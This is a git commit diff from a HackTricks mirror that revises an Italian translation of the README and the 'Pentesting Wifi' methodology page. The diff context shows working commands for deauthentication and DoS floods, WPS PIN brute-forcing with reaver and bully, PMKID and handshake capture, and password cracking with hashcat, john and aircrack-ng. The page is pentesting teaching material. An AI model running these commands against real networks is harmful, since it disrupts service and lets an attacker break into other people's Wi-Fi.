mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
fd3a4bc9de
commit
807a319ed6
19 changed files with 355 additions and 359 deletions
12
README.md
12
README.md
|
@ -2,10 +2,10 @@
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_I loghi e il design in movimento di Hacktricks sono stati creati da_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/qualcosa che ho imparato da CTF, app della vita reale, lettura di ricerche e notizie.**
|
**Benvenuto nella wiki dove troverai ogni trucco/tecnica/qualcosa che ho imparato dai CTF, dalle app della vita reale, leggendo ricerche e notizie.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
|
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
|
||||||
|
@ -65,7 +65,7 @@ Accedi oggi:
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -93,10 +93,10 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi** offre API veloci e facili in tempo reale per **accedere ai risultati dei motori di ricerca**. Scrapeano i motori di ricerca, gestiscono i proxy, risolvono i captcha e analizzano tutti i dati strutturati ricchi per te.
|
**SerpApi** offre API veloci e facili in tempo reale per **accedere ai risultati dei motori di ricerca**. Raccolgono dati dai motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||||
|
|
||||||
Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per scraping di diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raccogliere dati da diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
||||||
A differenza di altri fornitori, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
A differenza di altri fornitori, **SerpApi non raccoglie solo risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video in linea, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||||
|
|
||||||
I clienti attuali di SerpApi includono **Apple, Shopify e GrubHub**.\
|
I clienti attuali di SerpApi includono **Apple, Shopify e GrubHub**.\
|
||||||
Per ulteriori informazioni, dai un'occhiata al loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
Per ulteriori informazioni, dai un'occhiata al loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Pentesting Wifi
|
# Pentesting Wifi
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,9 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul hacking**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
@ -26,11 +26,11 @@ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
## Wifi comandi di base
|
## Wifi basic commands
|
||||||
```bash
|
```bash
|
||||||
ip link show #List available interfaces
|
ip link show #List available interfaces
|
||||||
iwconfig #List available interfaces
|
iwconfig #List available interfaces
|
||||||
|
@ -87,10 +87,10 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||||
* Scansiona per possibili reti - E ti consente di selezionare la vittima(i)
|
* Scansiona per possibili reti - E ti consente di selezionare la vittima(i)
|
||||||
* Se WEP - Lancia attacchi WEP
|
* Se WEP - Lancia attacchi WEP
|
||||||
* Se WPA-PSK
|
* Se WPA-PSK
|
||||||
* Se WPS: attacco Pixie dust e attacco di bruteforce (fai attenzione, l'attacco di bruteforce potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
|
* Se WPS: attacco Pixie dust e attacco di brute-force (fai attenzione, l'attacco di brute-force potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati da database.
|
||||||
* Prova a catturare il PMKID dall'AP per decifrarlo
|
* Prova a catturare il PMKID dall'AP per decifrarlo
|
||||||
* Prova a disautenticare i client dell'AP per catturare un handshake
|
* Prova a disautenticare i client dell'AP per catturare un handshake
|
||||||
* Se PMKID o Handshake, prova a bruteforce usando le prime 5000 password.
|
* Se PMKID o Handshake, prova a fare brute-force usando le prime 5000 password.
|
||||||
|
|
||||||
## Attacks Summary
|
## Attacks Summary
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||||
* Crack **WEP** (diversi strumenti e metodi)
|
* Crack **WEP** (diversi strumenti e metodi)
|
||||||
* **WPA-PSK**
|
* **WPA-PSK**
|
||||||
* **WPS** pin "Brute-Force"
|
* **WPS** pin "Brute-Force"
|
||||||
* **WPA PMKID** bruteforce
|
* **WPA PMKID** brute-force
|
||||||
* \[DoS +] **WPA handshake** cattura + Cracking
|
* \[DoS +] **WPA handshake** cattura + Cracking
|
||||||
* **WPA-MGT**
|
* **WPA-MGT**
|
||||||
* **Cattura nome utente**
|
* **Cattura nome utente**
|
||||||
|
@ -119,20 +119,20 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||||
|
|
||||||
## DOS
|
## DOS
|
||||||
|
|
||||||
### Deauthentication Packets
|
### Pacchetti di Deautenticazione
|
||||||
|
|
||||||
**Descrizione da** [**qui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
**Descrizione da** [**qui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||||
|
|
||||||
Gli attacchi di **deautenticazione**, un metodo prevalente nell'hacking Wi-Fi, comportano la falsificazione di frame "di gestione" per **disconnettere forzatamente i dispositivi da una rete**. Questi pacchetti non crittografati ingannano i client facendogli credere che provengano dalla rete legittima, consentendo agli attaccanti di raccogliere handshake WPA per scopi di cracking o di interrompere persistentemente le connessioni di rete. Questa tattica, allarmante nella sua semplicità, è ampiamente utilizzata e ha significative implicazioni per la sicurezza della rete.
|
Gli attacchi di **deautenticazione**, un metodo prevalente nell'hacking Wi-Fi, comportano la falsificazione di frame "di gestione" per **disconnettere forzatamente i dispositivi da una rete**. Questi pacchetti non crittografati ingannano i client facendogli credere che provengano dalla rete legittima, consentendo agli attaccanti di raccogliere handshake WPA per scopi di cracking o di interrompere persistentemente le connessioni di rete. Questa tattica, allarmante nella sua semplicità, è ampiamente utilizzata e ha significative implicazioni per la sicurezza della rete.
|
||||||
|
|
||||||
**Deauthentication usando Aireplay-ng**
|
**Deautenticazione usando Aireplay-ng**
|
||||||
```
|
```
|
||||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||||
```
|
```
|
||||||
* \-0 significa deautenticazione
|
* \-0 significa deautenticazione
|
||||||
* 1 è il numero di deautenticazioni da inviare (puoi inviarne più di una se lo desideri); 0 significa inviarle continuamente
|
* 1 è il numero di deautenticazioni da inviare (puoi inviarne più di una se lo desideri); 0 significa inviarle continuamente
|
||||||
* \-a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso
|
* \-a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso
|
||||||
* \-c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione broadcast (non sempre funziona)
|
* \-c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione in broadcast (non sempre funziona)
|
||||||
* ath0 è il nome dell'interfaccia
|
* ath0 è il nome dell'interfaccia
|
||||||
|
|
||||||
### Pacchetti di Disassociazione
|
### Pacchetti di Disassociazione
|
||||||
|
@ -178,7 +178,7 @@ Il probing degli Access Points (AP) verifica se un SSID è correttamente rivelat
|
||||||
|
|
||||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||||
|
|
||||||
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le Michael Countermeasures su **TKIP AP**, portando a un arresto dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a un arresto dell'AP di un minuto. Questo metodo è una tattica efficiente di **DoS** (Denial of Service).
|
||||||
```bash
|
```bash
|
||||||
# -t <BSSID> of a TKIP AP
|
# -t <BSSID> of a TKIP AP
|
||||||
# -j use inteligent replay to create the DoS
|
# -j use inteligent replay to create the DoS
|
||||||
|
@ -235,13 +235,13 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||||
Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità note:
|
Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità note:
|
||||||
|
|
||||||
1. **PIN pre-scoperti**: Utilizza un database di PIN noti collegati a specifici produttori noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.
|
1. **PIN pre-scoperti**: Utilizza un database di PIN noti collegati a specifici produttori noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.
|
||||||
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN e EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN ed EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
||||||
|
|
||||||
### Attacco WPS Pixie Dust
|
### Attacco WPS Pixie Dust
|
||||||
|
|
||||||
**Dominique Bongard** ha scoperto un difetto in alcuni Access Point (AP) riguardante la creazione di codici segreti, noti come **nonces** (**E-S1** e **E-S2**). Se questi nonces possono essere scoperti, decifrare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per sbloccare il "cassaforte" che contiene il PIN WPS. Maggiori informazioni possono essere trovate [qui](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
**Dominique Bongard** ha scoperto un difetto in alcuni Access Point (AP) riguardante la creazione di codici segreti, noti come **nonces** (**E-S1** e **E-S2**). Se questi nonces possono essere scoperti, decifrare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per sbloccare il "cassaforte" che contiene il PIN WPS. Maggiori informazioni possono essere trovate [qui](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||||
|
|
||||||
In termini semplici, il problema è che alcuni AP non utilizzavano chiavi abbastanza casuali per crittografare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile a essere indovinato dall'esterno della rete (attacco di forza bruta offline).
|
In termini semplici, il problema è che alcuni AP non utilizzavano chiavi abbastanza casuali per crittografare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile a essere indovinato dall'esterno della rete (attacco di brute force offline).
|
||||||
```bash
|
```bash
|
||||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||||
|
@ -270,13 +270,13 @@ Tutti gli attacchi WPS proposti possono essere facilmente eseguiti utilizzando _
|
||||||
|
|
||||||
## **WEP**
|
## **WEP**
|
||||||
|
|
||||||
Così compromesso e inutilizzato oggigiorno. Sappi solo che _**airgeddon**_ ha un'opzione WEP chiamata "All-in-One" per attaccare questo tipo di protezione. Altri strumenti offrono opzioni simili.
|
Così compromesso e inutilizzato al giorno d'oggi. Sappi solo che _**airgeddon**_ ha un'opzione WEP chiamata "All-in-One" per attaccare questo tipo di protezione. Altri strumenti offrono opzioni simili.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (432).png>)
|
![](<../../.gitbook/assets/image (432).png>)
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -287,7 +287,7 @@ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Latest Announcements**\
|
**Latest Announcements**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -326,7 +326,7 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||||
```
|
```
|
||||||
Si prega di notare che il formato di un hash corretto contiene **4 parti**, come: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se il tuo **contiene solo** **3 parti**, allora è **non valido** (la cattura PMKID non era valida).
|
Si prega di notare che il formato di un hash corretto contiene **4 parti**, come: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se il tuo **contiene solo** **3 parti**, allora è **non valido** (la cattura del PMKID non era valida).
|
||||||
|
|
||||||
Nota che `hcxdumptool` **cattura anche i handshake** (qualcosa del genere apparirà: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puoi **trasformare** gli **handshake** nel formato **hashcat**/**john** usando `cap2hccapx`
|
Nota che `hcxdumptool` **cattura anche i handshake** (qualcosa del genere apparirà: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puoi **trasformare** gli **handshake** nel formato **hashcat**/**john** usando `cap2hccapx`
|
||||||
```bash
|
```bash
|
||||||
|
@ -336,7 +336,7 @@ hccap2john pmkid.hccapx > handshake.john
|
||||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||||
```
|
```
|
||||||
_Ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Consiglio di catturare gli handshake anche in modo tradizionale se possibile, o di catturarne diversi utilizzando questo strumento._
|
_Io ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Raccomanderei di catturare gli handshake anche in modo tradizionale se possibile, o di catturarne diversi utilizzando questo strumento._
|
||||||
|
|
||||||
### Cattura dell'handshake
|
### Cattura dell'handshake
|
||||||
|
|
||||||
|
@ -347,7 +347,7 @@ Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake
|
||||||
```bash
|
```bash
|
||||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||||
```
|
```
|
||||||
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una re-autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di disautenticazione al client:
|
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una re-autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di deautenticazione al client:
|
||||||
```bash
|
```bash
|
||||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||||
```
|
```
|
||||||
|
@ -391,9 +391,9 @@ In **configurazioni WiFi aziendali, incontrerai vari metodi di autenticazione**,
|
||||||
1. **EAP-GTC (Generic Token Card)**:
|
1. **EAP-GTC (Generic Token Card)**:
|
||||||
* Questo metodo supporta token hardware e password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida peer e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
* Questo metodo supporta token hardware e password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida peer e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
||||||
2. **EAP-MD5 (Message Digest 5)**:
|
2. **EAP-MD5 (Message Digest 5)**:
|
||||||
* Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi a dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
* Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi di dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
||||||
3. **EAP-TLS (Transport Layer Security)**:
|
3. **EAP-TLS (Transport Layer Security)**:
|
||||||
* Utilizza sia certificati lato client che lato server per l'autenticazione e può generare dinamicamente chiavi WEP basate su utente e sessione per garantire comunicazioni sicure.
|
* Utilizza sia certificati lato client che lato server per l'autenticazione e può generare dinamicamente chiavi WEP basate su utente e sessione per proteggere le comunicazioni.
|
||||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||||
* Fornisce autenticazione reciproca attraverso un tunnel crittografato, insieme a un metodo per derivare chiavi WEP dinamiche, per utente e per sessione. Richiede solo certificati lato server, con i client che utilizzano credenziali.
|
* Fornisce autenticazione reciproca attraverso un tunnel crittografato, insieme a un metodo per derivare chiavi WEP dinamiche, per utente e per sessione. Richiede solo certificati lato server, con i client che utilizzano credenziali.
|
||||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||||
|
@ -414,19 +414,19 @@ All'interno del pacchetto "**Response, Identity**", apparirà il **nome utente**
|
||||||
|
|
||||||
### Identità Anonime
|
### Identità Anonime
|
||||||
|
|
||||||
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identity è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie per il server RADIUS iniziale per elaborare la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
|
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identity è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie affinché il server RADIUS iniziale elabori la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
|
||||||
|
|
||||||
* EAP-Identity = anonimo
|
* EAP-Identity = anonimo
|
||||||
* In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene quindi gestito localmente o delegato a un server RADIUS remoto (domestico).
|
* In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene quindi gestito localmente o delegato a un server RADIUS remoto (domestico).
|
||||||
* EAP-Identity = anonimo@realm\_x
|
* EAP-Identity = anonimo@realm\_x
|
||||||
* In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di proxy le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
* In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di proxy le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
||||||
* In alternativa, il server RADIUS iniziale può fungere da server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
|
* In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
|
||||||
|
|
||||||
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia intercettando il traffico 802.11.
|
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia intercettando il traffico 802.11.
|
||||||
|
|
||||||
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetti dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
|
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetto dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
|
||||||
|
|
||||||
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto sia EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
|
